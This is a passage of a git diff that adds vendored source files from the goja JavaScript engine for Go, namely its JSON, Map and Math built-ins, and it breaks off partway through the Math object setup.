+ case 16: + cutoff = math.MaxInt64/16 + 1 + default: + cutoff = math.MaxInt64/int64(base) + 1 + } + + maxVal = math.MaxInt64 + for ; i < len(s); i++ { + if n >= cutoff { + // n*base overflows + return parseLargeInt(float64(n), s[i:], base, sign) + } + v := digitVal(s[i]) + if v >= base { + break + } + n *= int64(base) + + n1 := n + int64(v) + if n1 < n || n1 > maxVal { + // n+v overflows + return parseLargeInt(float64(n)+float64(v), s[i+1:], base, sign) + } + n = n1 + } + + if i == 0 { + err = strconv.ErrSyntax + goto Error + } + + if sign { + n = -n + } + return intToValue(n), nil + +Error: + return _NaN, err +} + +func parseLargeInt(n float64, s string, base int, sign bool) (Value, error) { + i := 0 + b := float64(base) + for ; i < len(s); i++ { + v := digitVal(s[i]) + if v >= base { + break + } + n = n*b + float64(v) + } + if sign { + n = -n + } + // We know it can't be represented as int, so use valueFloat instead of floatToValue + return valueFloat(n), nil +} + +var ( + uriUnescaped [256]bool + uriReserved [256]bool + uriReservedHash [256]bool + uriReservedUnescapedHash [256]bool + emptyEscapeSet [256]bool +) + +func init() { + for _, c := range "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_.!~*'()" { + uriUnescaped[c] = true + } + + for _, c := range ";/?:@&=+$," { + uriReserved[c] = true + } + + for i := 0; i < 256; i++ { + if uriUnescaped[i] || uriReserved[i] { + uriReservedUnescapedHash[i] = true + } + uriReservedHash[i] = uriReserved[i] + } + uriReservedUnescapedHash['#'] = true + uriReservedHash['#'] = true +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_json.go b/backend/vendor/github.com/dop251/goja/builtin_json.go new file mode 100644 index 0000000..cd4a7bc --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_json.go @@ -0,0 +1,542 @@ +package goja + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "io" + "math" + "strconv" + "strings" + "unicode/utf16" + "unicode/utf8" + + "github.com/dop251/goja/unistring" +) + +const hex = "0123456789abcdef" + +func (r *Runtime) builtinJSON_parse(call FunctionCall) Value { + d := json.NewDecoder(strings.NewReader(call.Argument(0).toString().String())) + + value, err := r.builtinJSON_decodeValue(d) + if errors.Is(err, io.EOF) { + panic(r.newError(r.getSyntaxError(), "Unexpected end of JSON input (%v)", err.Error())) + } + if err != nil { + panic(r.newError(r.getSyntaxError(), err.Error())) + } + + if tok, err := d.Token(); err != io.EOF { + panic(r.newError(r.getSyntaxError(), "Unexpected token at the end: %v", tok)) + } + + var reviver func(FunctionCall) Value + + if arg1 := call.Argument(1); arg1 != _undefined { + reviver, _ = arg1.ToObject(r).self.assertCallable() + } + + if reviver != nil { + root := r.NewObject() + createDataPropertyOrThrow(root, stringEmpty, value) + return r.builtinJSON_reviveWalk(reviver, root, stringEmpty) + } + + return value +} + +func (r *Runtime) builtinJSON_decodeToken(d *json.Decoder, tok json.Token) (Value, error) { + switch tok := tok.(type) { + case json.Delim: + switch tok { + case '{': + return r.builtinJSON_decodeObject(d) + case '[': + return r.builtinJSON_decodeArray(d) + } + case nil: + return _null, nil + case string: + return newStringValue(tok), nil + case float64: + return floatToValue(tok), nil + case bool: + if tok { + return valueTrue, nil + } + return valueFalse, nil + } + return nil, fmt.Errorf("Unexpected token (%T): %v", tok, tok) +} + +func (r *Runtime) builtinJSON_decodeValue(d *json.Decoder) (Value, error) { + tok, err := d.Token() + if err != nil { + return nil, err + } + return r.builtinJSON_decodeToken(d, tok) +} + +func (r *Runtime) builtinJSON_decodeObject(d *json.Decoder) (*Object, error) { + object := r.NewObject() + for { + key, end, err := r.builtinJSON_decodeObjectKey(d) + if err != nil { + return nil, err + } + if end { + break + } + value, err := r.builtinJSON_decodeValue(d) + if err != nil { + return nil, err + } + + object.self._putProp(unistring.NewFromString(key), value, true, true, true) + } + return object, nil +} + +func (r *Runtime) builtinJSON_decodeObjectKey(d *json.Decoder) (string, bool, error) { + tok, err := d.Token() + if err != nil { + return "", false, err + } + switch tok := tok.(type) { + case json.Delim: + if tok == '}' { + return "", true, nil + } + case string: + return tok, false, nil + } + + return "", false, fmt.Errorf("Unexpected token (%T): %v", tok, tok) +} + +func (r *Runtime) builtinJSON_decodeArray(d *json.Decoder) (*Object, error) { + var arrayValue []Value + for { + tok, err := d.Token() + if err != nil { + return nil, err + } + if delim, ok := tok.(json.Delim); ok { + if delim == ']' { + break + } + } + value, err := r.builtinJSON_decodeToken(d, tok) + if err != nil { + return nil, err + } + arrayValue = append(arrayValue, value) + } + return r.newArrayValues(arrayValue), nil +} + +func (r *Runtime) builtinJSON_reviveWalk(reviver func(FunctionCall) Value, holder *Object, name Value) Value { + value := nilSafe(holder.get(name, nil)) + + if object, ok := value.(*Object); ok { + if isArray(object) { + length := toLength(object.self.getStr("length", nil)) + for index := int64(0); index < length; index++ { + name := asciiString(strconv.FormatInt(index, 10)) + value := r.builtinJSON_reviveWalk(reviver, object, name) + if value == _undefined { + object.delete(name, false) + } else { + createDataProperty(object, name, value) + } + } + } else { + for _, name := range object.self.stringKeys(false, nil) { + value := r.builtinJSON_reviveWalk(reviver, object, name) + if value == _undefined { + object.self.deleteStr(name.string(), false) + } else { + createDataProperty(object, name, value) + } + } + } + } + return reviver(FunctionCall{ + This: holder, + Arguments: []Value{name, value}, + }) +} + +type _builtinJSON_stringifyContext struct { + r *Runtime + stack []*Object + propertyList []Value + replacerFunction func(FunctionCall) Value + gap, indent string + buf bytes.Buffer + allAscii bool +} + +func (r *Runtime) builtinJSON_stringify(call FunctionCall) Value { + ctx := _builtinJSON_stringifyContext{ + r: r, + allAscii: true, + } + + replacer, _ := call.Argument(1).(*Object) + if replacer != nil { + if isArray(replacer) { + length := toLength(replacer.self.getStr("length", nil)) + seen := map[string]bool{} + propertyList := make([]Value, length) + length = 0 + for index := range propertyList { + var name string + value := replacer.self.getIdx(valueInt(int64(index)), nil) + switch v := value.(type) { + case valueFloat, valueInt, String: + name = value.String() + case *Object: + switch v.self.className() { + case classNumber, classString: + name = value.String() + default: + continue + } + default: + continue + } + if seen[name] { + continue + } + seen[name] = true + propertyList[length] = newStringValue(name) + length += 1 + } + ctx.propertyList = propertyList[0:length] + } else if c, ok := replacer.self.assertCallable(); ok { + ctx.replacerFunction = c + } + } + if spaceValue := call.Argument(2); spaceValue != _undefined { + if o, ok := spaceValue.(*Object); ok { + switch oImpl := o.self.(type) { + case *primitiveValueObject: + switch oImpl.pValue.(type) { + case valueInt, valueFloat: + spaceValue = o.ToNumber() + } + case *stringObject: + spaceValue = o.ToString() + } + } + isNum := false + var num int64 + if i, ok := spaceValue.(valueInt); ok { + num = int64(i) + isNum = true + } else if f, ok := spaceValue.(valueFloat); ok { + num = int64(f) + isNum = true + } + if isNum { + if num > 0 { + if num > 10 { + num = 10 + } + ctx.gap = strings.Repeat(" ", int(num)) + } + } else { + if s, ok := spaceValue.(String); ok { + str := s.String() + if len(str) > 10 { + ctx.gap = str[:10] + } else { + ctx.gap = str + } + } + } + } + + if ctx.do(call.Argument(0)) { + if ctx.allAscii { + return asciiString(ctx.buf.String()) + } else { + return &importedString{ + s: ctx.buf.String(), + } + } + } + return _undefined +} + +func (ctx *_builtinJSON_stringifyContext) do(v Value) bool { + holder := ctx.r.NewObject() + createDataPropertyOrThrow(holder, stringEmpty, v) + return ctx.str(stringEmpty, holder) +} + +func (ctx *_builtinJSON_stringifyContext) str(key Value, holder *Object) bool { + value := nilSafe(holder.get(key, nil)) + + switch value.(type) { + case *Object, *valueBigInt: + if toJSON, ok := ctx.r.getVStr(value, "toJSON").(*Object); ok { + if c, ok := toJSON.self.assertCallable(); ok { + value = c(FunctionCall{ + This: value, + Arguments: []Value{key}, + }) + } + } + } + + if ctx.replacerFunction != nil { + value = ctx.replacerFunction(FunctionCall{ + This: holder, + Arguments: []Value{key, value}, + }) + } + + if o, ok := value.(*Object); ok { + switch o1 := o.self.(type) { + case *primitiveValueObject: + switch pValue := o1.pValue.(type) { + case valueInt, valueFloat: + value = o.ToNumber() + default: + value = pValue + } + case *stringObject: + value = o.toString() + case *objectGoReflect: + if o1.toJson != nil { + value = ctx.r.ToValue(o1.toJson()) + } else if v, ok := o1.origValue.Interface().(json.Marshaler); ok { + b, err := v.MarshalJSON() + if err != nil { + panic(ctx.r.NewGoError(err)) + } + ctx.buf.Write(b) + ctx.allAscii = false + return true + } else { + switch o1.className() { + case classNumber: + value = o1.val.ordinaryToPrimitiveNumber() + case classString: + value = o1.val.ordinaryToPrimitiveString() + case classBoolean: + if o.ToInteger() != 0 { + value = valueTrue + } else { + value = valueFalse + } + } + if o1.exportType() == typeBigInt { + value = o1.val.ordinaryToPrimitiveNumber() + } + } + } + } + + switch value1 := value.(type) { + case valueBool: + if value1 { + ctx.buf.WriteString("true") + } else { + ctx.buf.WriteString("false") + } + case String: + ctx.quote(value1) + case valueInt: + ctx.buf.WriteString(value.String()) + case valueFloat: + if !math.IsNaN(float64(value1)) && !math.IsInf(float64(value1), 0) { + ctx.buf.WriteString(value.String()) + } else { + ctx.buf.WriteString("null") + } + case valueNull: + ctx.buf.WriteString("null") + case *valueBigInt: + ctx.r.typeErrorResult(true, "Do not know how to serialize a BigInt") + case *Object: + for _, object := range ctx.stack { + if value1.SameAs(object) { + ctx.r.typeErrorResult(true, "Converting circular structure to JSON") + } + } + ctx.stack = append(ctx.stack, value1) + defer func() { ctx.stack = ctx.stack[:len(ctx.stack)-1] }() + if _, ok := value1.self.assertCallable(); !ok { + if isArray(value1) { + ctx.ja(value1) + } else { + ctx.jo(value1) + } + } else { + return false + } + default: + return false + } + return true +} + +func (ctx *_builtinJSON_stringifyContext) ja(array *Object) { + var stepback string + if ctx.gap != "" { + stepback = ctx.indent + ctx.indent += ctx.gap + } + length := toLength(array.self.getStr("length", nil)) + if length == 0 { + ctx.buf.WriteString("[]") + return + } + + ctx.buf.WriteByte('[') + var separator string + if ctx.gap != "" { + ctx.buf.WriteByte('\n') + ctx.buf.WriteString(ctx.indent) + separator = ",\n" + ctx.indent + } else { + separator = "," + } + + for i := int64(0); i < length; i++ { + if !ctx.str(asciiString(strconv.FormatInt(i, 10)), array) { + ctx.buf.WriteString("null") + } + if i < length-1 { + ctx.buf.WriteString(separator) + } + } + if ctx.gap != "" { + ctx.buf.WriteByte('\n') + ctx.buf.WriteString(stepback) + ctx.indent = stepback + } + ctx.buf.WriteByte(']') +} + +func (ctx *_builtinJSON_stringifyContext) jo(object *Object) { + var stepback string + if ctx.gap != "" { + stepback = ctx.indent + ctx.indent += ctx.gap + } + + ctx.buf.WriteByte('{') + mark := ctx.buf.Len() + var separator string + if ctx.gap != "" { + ctx.buf.WriteByte('\n') + ctx.buf.WriteString(ctx.indent) + separator = ",\n" + ctx.indent + } else { + separator = "," + } + + var props []Value + if ctx.propertyList == nil { + props = object.self.stringKeys(false, nil) + } else { + props = ctx.propertyList + } + + empty := true + for _, name := range props { + off := ctx.buf.Len() + if !empty { + ctx.buf.WriteString(separator) + } + ctx.quote(name.toString()) + if ctx.gap != "" { + ctx.buf.WriteString(": ") + } else { + ctx.buf.WriteByte(':') + } + if ctx.str(name, object) { + if empty { + empty = false + } + } else { + ctx.buf.Truncate(off) + } + } + + if empty { + ctx.buf.Truncate(mark) + } else { + if ctx.gap != "" { + ctx.buf.WriteByte('\n') + ctx.buf.WriteString(stepback) + ctx.indent = stepback + } + } + ctx.buf.WriteByte('}') +} + +func (ctx *_builtinJSON_stringifyContext) quote(str String) { + ctx.buf.WriteByte('"') + reader := &lenientUtf16Decoder{utf16Reader: str.utf16Reader()} + for { + r, _, err := reader.ReadRune() + if err != nil { + break + } + switch r { + case '"', '\\': + ctx.buf.WriteByte('\\') + ctx.buf.WriteByte(byte(r)) + case 0x08: + ctx.buf.WriteString(`\b`) + case 0x09: + ctx.buf.WriteString(`\t`) + case 0x0A: + ctx.buf.WriteString(`\n`) + case 0x0C: + ctx.buf.WriteString(`\f`) + case 0x0D: + ctx.buf.WriteString(`\r`) + default: + if r < 0x20 { + ctx.buf.WriteString(`\u00`) + ctx.buf.WriteByte(hex[r>>4]) + ctx.buf.WriteByte(hex[r&0xF]) + } else { + if utf16.IsSurrogate(r) { + ctx.buf.WriteString(`\u`) + ctx.buf.WriteByte(hex[r>>12]) + ctx.buf.WriteByte(hex[(r>>8)&0xF]) + ctx.buf.WriteByte(hex[(r>>4)&0xF]) + ctx.buf.WriteByte(hex[r&0xF]) + } else { + ctx.buf.WriteRune(r) + if ctx.allAscii && r >= utf8.RuneSelf { + ctx.allAscii = false + } + } + } + } + } + ctx.buf.WriteByte('"') +} + +func (r *Runtime) getJSON() *Object { + ret := r.global.JSON + if ret == nil { + JSON := r.newBaseObject(r.global.ObjectPrototype, classObject) + ret = JSON.val + r.global.JSON = ret + JSON._putProp("parse", r.newNativeFunc(r.builtinJSON_parse, "parse", 2), true, false, true) + JSON._putProp("stringify", r.newNativeFunc(r.builtinJSON_stringify, "stringify", 3), true, false, true) + JSON._putSym(SymToStringTag, valueProp(asciiString(classJSON), false, false, true)) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_map.go b/backend/vendor/github.com/dop251/goja/builtin_map.go new file mode 100644 index 0000000..819d025 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_map.go @@ -0,0 +1,342 @@ +package goja + +import ( + "reflect" +) + +var mapExportType = reflect.TypeOf([][2]interface{}{}) + +type mapObject struct { + baseObject + m *orderedMap +} + +type mapIterObject struct { + baseObject + iter *orderedMapIter + kind iterationKind +} + +func (o *mapIterObject) next() Value { + if o.iter == nil { + return o.val.runtime.createIterResultObject(_undefined, true) + } + + entry := o.iter.next() + if entry == nil { + o.iter = nil + return o.val.runtime.createIterResultObject(_undefined, true) + } + + var result Value + switch o.kind { + case iterationKindKey: + result = entry.key + case iterationKindValue: + result = entry.value + default: + result = o.val.runtime.newArrayValues([]Value{entry.key, entry.value}) + } + + return o.val.runtime.createIterResultObject(result, false) +} + +func (mo *mapObject) init() { + mo.baseObject.init() + mo.m = newOrderedMap(mo.val.runtime.getHash()) +} + +func (mo *mapObject) exportType() reflect.Type { + return mapExportType +} + +func (mo *mapObject) export(ctx *objectExportCtx) interface{} { + m := make([][2]interface{}, mo.m.size) + ctx.put(mo.val, m) + + iter := mo.m.newIter() + for i := 0; i < len(m); i++ { + entry := iter.next() + if entry == nil { + break + } + m[i][0] = exportValue(entry.key, ctx) + m[i][1] = exportValue(entry.value, ctx) + } + + return m +} + +func (mo *mapObject) exportToMap(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + dst.Set(reflect.MakeMap(typ)) + ctx.putTyped(mo.val, typ, dst.Interface()) + keyTyp := typ.Key() + elemTyp := typ.Elem() + iter := mo.m.newIter() + r := mo.val.runtime + for { + entry := iter.next() + if entry == nil { + break + } + keyVal := reflect.New(keyTyp).Elem() + err := r.toReflectValue(entry.key, keyVal, ctx) + if err != nil { + return err + } + elemVal := reflect.New(elemTyp).Elem() + err = r.toReflectValue(entry.value, elemVal, ctx) + if err != nil { + return err + } + dst.SetMapIndex(keyVal, elemVal) + } + return nil +} + +func (r *Runtime) mapProto_clear(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method Map.prototype.clear called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + mo.m.clear() + + return _undefined +} + +func (r *Runtime) mapProto_delete(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method Map.prototype.delete called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + return r.toBoolean(mo.m.remove(call.Argument(0))) +} + +func (r *Runtime) mapProto_get(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method Map.prototype.get called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + + return nilSafe(mo.m.get(call.Argument(0))) +} + +func (r *Runtime) mapProto_has(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method Map.prototype.has called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + if mo.m.has(call.Argument(0)) { + return valueTrue + } + return valueFalse +} + +func (r *Runtime) mapProto_set(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method Map.prototype.set called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + mo.m.set(call.Argument(0), call.Argument(1)) + return call.This +} + +func (r *Runtime) mapProto_entries(call FunctionCall) Value { + return r.createMapIterator(call.This, iterationKindKeyValue) +} + +func (r *Runtime) mapProto_forEach(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method Map.prototype.forEach called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + callbackFn, ok := r.toObject(call.Argument(0)).self.assertCallable() + if !ok { + panic(r.NewTypeError("object is not a function %s")) + } + t := call.Argument(1) + iter := mo.m.newIter() + for { + entry := iter.next() + if entry == nil { + break + } + callbackFn(FunctionCall{This: t, Arguments: []Value{entry.value, entry.key, thisObj}}) + } + + return _undefined +} + +func (r *Runtime) mapProto_keys(call FunctionCall) Value { + return r.createMapIterator(call.This, iterationKindKey) +} + +func (r *Runtime) mapProto_values(call FunctionCall) Value { + return r.createMapIterator(call.This, iterationKindValue) +} + +func (r *Runtime) mapProto_getSize(call FunctionCall) Value { + thisObj := r.toObject(call.This) + mo, ok := thisObj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Method get Map.prototype.size called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) + } + return intToValue(int64(mo.m.size)) +} + +func (r *Runtime) builtin_newMap(args []Value, newTarget *Object) *Object { + if newTarget == nil { + panic(r.needNew("Map")) + } + proto := r.getPrototypeFromCtor(newTarget, r.global.Map, r.global.MapPrototype) + o := &Object{runtime: r} + + mo := &mapObject{} + mo.class = classObject + mo.val = o + mo.extensible = true + o.self = mo + mo.prototype = proto + mo.init() + if len(args) > 0 { + if arg := args[0]; arg != nil && arg != _undefined && arg != _null { + adder := mo.getStr("set", nil) + adderFn := toMethod(adder) + if adderFn == nil { + panic(r.NewTypeError("Map.set in missing")) + } + iter := r.getIterator(arg, nil) + i0 := valueInt(0) + i1 := valueInt(1) + if adder == r.global.mapAdder { + iter.iterate(func(item Value) { + itemObj := r.toObject(item) + k := nilSafe(itemObj.self.getIdx(i0, nil)) + v := nilSafe(itemObj.self.getIdx(i1, nil)) + mo.m.set(k, v) + }) + } else { + iter.iterate(func(item Value) { + itemObj := r.toObject(item) + k := itemObj.self.getIdx(i0, nil) + v := itemObj.self.getIdx(i1, nil) + adderFn(FunctionCall{This: o, Arguments: []Value{k, v}}) + }) + } + } + } + return o +} + +func (r *Runtime) createMapIterator(mapValue Value, kind iterationKind) Value { + obj := r.toObject(mapValue) + mapObj, ok := obj.self.(*mapObject) + if !ok { + panic(r.NewTypeError("Object is not a Map")) + } + + o := &Object{runtime: r} + + mi := &mapIterObject{ + iter: mapObj.m.newIter(), + kind: kind, + } + mi.class = classObject + mi.val = o + mi.extensible = true + o.self = mi + mi.prototype = r.getMapIteratorPrototype() + mi.init() + + return o +} + +func (r *Runtime) mapIterProto_next(call FunctionCall) Value { + thisObj := r.toObject(call.This) + if iter, ok := thisObj.self.(*mapIterObject); ok { + return iter.next() + } + panic(r.NewTypeError("Method Map Iterator.prototype.next called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: thisObj}))) +} + +func (r *Runtime) createMapProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + + o._putProp("constructor", r.getMap(), true, false, true) + o._putProp("clear", r.newNativeFunc(r.mapProto_clear, "clear", 0), true, false, true) + r.global.mapAdder = r.newNativeFunc(r.mapProto_set, "set", 2) + o._putProp("set", r.global.mapAdder, true, false, true) + o._putProp("delete", r.newNativeFunc(r.mapProto_delete, "delete", 1), true, false, true) + o._putProp("forEach", r.newNativeFunc(r.mapProto_forEach, "forEach", 1), true, false, true) + o._putProp("has", r.newNativeFunc(r.mapProto_has, "has", 1), true, false, true) + o._putProp("get", r.newNativeFunc(r.mapProto_get, "get", 1), true, false, true) + o.setOwnStr("size", &valueProperty{ + getterFunc: r.newNativeFunc(r.mapProto_getSize, "get size", 0), + accessor: true, + writable: true, + configurable: true, + }, true) + o._putProp("keys", r.newNativeFunc(r.mapProto_keys, "keys", 0), true, false, true) + o._putProp("values", r.newNativeFunc(r.mapProto_values, "values", 0), true, false, true) + + entriesFunc := r.newNativeFunc(r.mapProto_entries, "entries", 0) + o._putProp("entries", entriesFunc, true, false, true) + o._putSym(SymIterator, valueProp(entriesFunc, true, false, true)) + o._putSym(SymToStringTag, valueProp(asciiString(classMap), false, false, true)) + + return o +} + +func (r *Runtime) createMap(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newMap, r.getMapPrototype(), "Map", 0) + r.putSpeciesReturnThis(o) + + return o +} + +func (r *Runtime) createMapIterProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getIteratorPrototype(), classObject) + + o._putProp("next", r.newNativeFunc(r.mapIterProto_next, "next", 0), true, false, true) + o._putSym(SymToStringTag, valueProp(asciiString(classMapIterator), false, false, true)) + + return o +} + +func (r *Runtime) getMapIteratorPrototype() *Object { + var o *Object + if o = r.global.MapIteratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.MapIteratorPrototype = o + o.self = r.createMapIterProto(o) + } + return o +} + +func (r *Runtime) getMapPrototype() *Object { + ret := r.global.MapPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.MapPrototype = ret + ret.self = r.createMapProto(ret) + } + return ret +} + +func (r *Runtime) getMap() *Object { + ret := r.global.Map + if ret == nil { + ret = &Object{runtime: r} + r.global.Map = ret + ret.self = r.createMap(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_math.go b/backend/vendor/github.com/dop251/goja/builtin_math.go new file mode 100644 index 0000000..169ea18 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_math.go @@ -0,0 +1,358 @@ +package goja + +import ( + "math" + "math/bits" + "sync" +) + +func (r *Runtime) math_abs(call FunctionCall) Value { + return floatToValue(math.Abs(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_acos(call FunctionCall) Value { + return floatToValue(math.Acos(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_acosh(call FunctionCall) Value { + return floatToValue(math.Acosh(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_asin(call FunctionCall) Value { + return floatToValue(math.Asin(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_asinh(call FunctionCall) Value { + return floatToValue(math.Asinh(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_atan(call FunctionCall) Value { + return floatToValue(math.Atan(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_atanh(call FunctionCall) Value { + return floatToValue(math.Atanh(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_atan2(call FunctionCall) Value { + y := call.Argument(0).ToFloat() + x := call.Argument(1).ToFloat() + + return floatToValue(math.Atan2(y, x)) +} + +func (r *Runtime) math_cbrt(call FunctionCall) Value { + return floatToValue(math.Cbrt(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_ceil(call FunctionCall) Value { + return floatToValue(math.Ceil(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_clz32(call FunctionCall) Value { + return intToValue(int64(bits.LeadingZeros32(toUint32(call.Argument(0))))) +} + +func (r *Runtime) math_cos(call FunctionCall) Value { + return floatToValue(math.Cos(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_cosh(call FunctionCall) Value { + return floatToValue(math.Cosh(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_exp(call FunctionCall) Value { + return floatToValue(math.Exp(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_expm1(call FunctionCall) Value { + return floatToValue(math.Expm1(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_floor(call FunctionCall) Value { + return floatToValue(math.Floor(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_fround(call FunctionCall) Value { + return floatToValue(float64(float32(call.Argument(0).ToFloat()))) +} + +func (r *Runtime) math_hypot(call FunctionCall) Value { + var max float64 + var hasNaN bool + absValues := make([]float64, 0, len(call.Arguments)) + for _, v := range call.Arguments { + arg := nilSafe(v).ToFloat() + if math.IsNaN(arg) { + hasNaN = true + } else { + abs := math.Abs(arg) + if abs > max { + max = abs + } + absValues = append(absValues, abs) + } + } + if math.IsInf(max, 1) { + return _positiveInf + } + if hasNaN { + return _NaN + } + if max == 0 { + return _positiveZero + } + + // Kahan summation to avoid rounding errors. + // Normalize the numbers to the largest one to avoid overflow. + var sum, compensation float64 + for _, n := range absValues { + n /= max + summand := n*n - compensation + preliminary := sum + summand + compensation = (preliminary - sum) - summand + sum = preliminary + } + return floatToValue(math.Sqrt(sum) * max) +} + +func (r *Runtime) math_imul(call FunctionCall) Value { + x := toUint32(call.Argument(0)) + y := toUint32(call.Argument(1)) + return intToValue(int64(int32(x * y))) +} + +func (r *Runtime) math_log(call FunctionCall) Value { + return floatToValue(math.Log(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_log1p(call FunctionCall) Value { + return floatToValue(math.Log1p(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_log10(call FunctionCall) Value { + return floatToValue(math.Log10(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_log2(call FunctionCall) Value { + return floatToValue(math.Log2(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_max(call FunctionCall) Value { + result := math.Inf(-1) + args := call.Arguments + for i, arg := range args { + n := nilSafe(arg).ToFloat() + if math.IsNaN(n) { + args = args[i+1:] + goto NaNLoop + } + result = math.Max(result, n) + } + + return floatToValue(result) + +NaNLoop: + // All arguments still need to be coerced to number according to the specs. + for _, arg := range args { + nilSafe(arg).ToFloat() + } + return _NaN +} + +func (r *Runtime) math_min(call FunctionCall) Value { + result := math.Inf(1) + args := call.Arguments + for i, arg := range args { + n := nilSafe(arg).ToFloat() + if math.IsNaN(n) { + args = args[i+1:] + goto NaNLoop + } + result = math.Min(result, n) + } + + return floatToValue(result) + +NaNLoop: + // All arguments still need to be coerced to number according to the specs. + for _, arg := range args { + nilSafe(arg).ToFloat() + } + return _NaN +} + +func pow(x, y Value) Value { + if x, ok := x.(valueInt); ok { + if y, ok := y.(valueInt); ok && y >= 0 { + if y == 0 { + return intToValue(1) + } + if x == 0 { + return intToValue(0) + } + ip := ipow(int64(x), int64(y)) + if ip != 0 { + return intToValue(ip) + } + } + } + xf := x.ToFloat() + yf := y.ToFloat() + if math.Abs(xf) == 1 && math.IsInf(yf, 0) { + return _NaN + } + if xf == 1 && math.IsNaN(yf) { + return _NaN + } + return floatToValue(math.Pow(xf, yf)) +} + +func (r *Runtime) math_pow(call FunctionCall) Value { + return pow(call.Argument(0), call.Argument(1)) +} + +func (r *Runtime) math_random(call FunctionCall) Value { + return floatToValue(r.rand()) +} + +func (r *Runtime) math_round(call FunctionCall) Value { + f := call.Argument(0).ToFloat() + if math.IsNaN(f) { + return _NaN + } + + if f == 0 && math.Signbit(f) { + return _negativeZero + } + + t := math.Trunc(f) + + if f >= 0 { + if f-t >= 0.5 { + return floatToValue(t + 1) + } + } else { + if t-f > 0.5 { + return floatToValue(t - 1) + } + } + + return floatToValue(t) +} + +func (r *Runtime) math_sign(call FunctionCall) Value { + arg := call.Argument(0) + num := arg.ToFloat() + if math.IsNaN(num) || num == 0 { // this will match -0 too + return arg + } + if num > 0 { + return intToValue(1) + } + return intToValue(-1) +} + +func (r *Runtime) math_sin(call FunctionCall) Value { + return floatToValue(math.Sin(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_sinh(call FunctionCall) Value { + return floatToValue(math.Sinh(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_sqrt(call FunctionCall) Value { + return floatToValue(math.Sqrt(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_tan(call FunctionCall) Value { + return floatToValue(math.Tan(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_tanh(call FunctionCall) Value { + return floatToValue(math.Tanh(call.Argument(0).ToFloat())) +} + +func (r *Runtime) math_trunc(call FunctionCall) Value { + arg := call.Argument(0) + if i, ok := arg.(valueInt); ok { + return i + } + return floatToValue(math.Trunc(arg.ToFloat())) +} + +func createMathTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("E", func(r *Runtime) Value { return valueProp(valueFloat(math.E), false, false, false) }) + t.putStr("LN10", func(r *Runtime) Value { return valueProp(valueFloat(math.Ln10), false, false, false) }) + t.putStr("LN2", func(r *Runtime) Value { return valueProp(valueFloat(math.Ln2), false, false, false) }) + t.putStr("LOG10E", func(r *Runtime) Value { return valueProp(valueFloat(math.Log10E), false, false, false) }) + t.putStr("LOG2E", func(r *Runtime) Value { return valueProp(valueFloat(math.Log2E), false, false, false) }) + t.putStr("PI", func(r *Runtime) Value { return valueProp(valueFloat(math.Pi), false, false, false) }) + t.putStr("SQRT1_2", func(r *Runtime) Value { return valueProp(valueFloat(sqrt1_2), false, false, false) }) + t.putStr("SQRT2", func(r *Runtime) Value { return valueProp(valueFloat(math.Sqrt2), false, false, false) }) + + 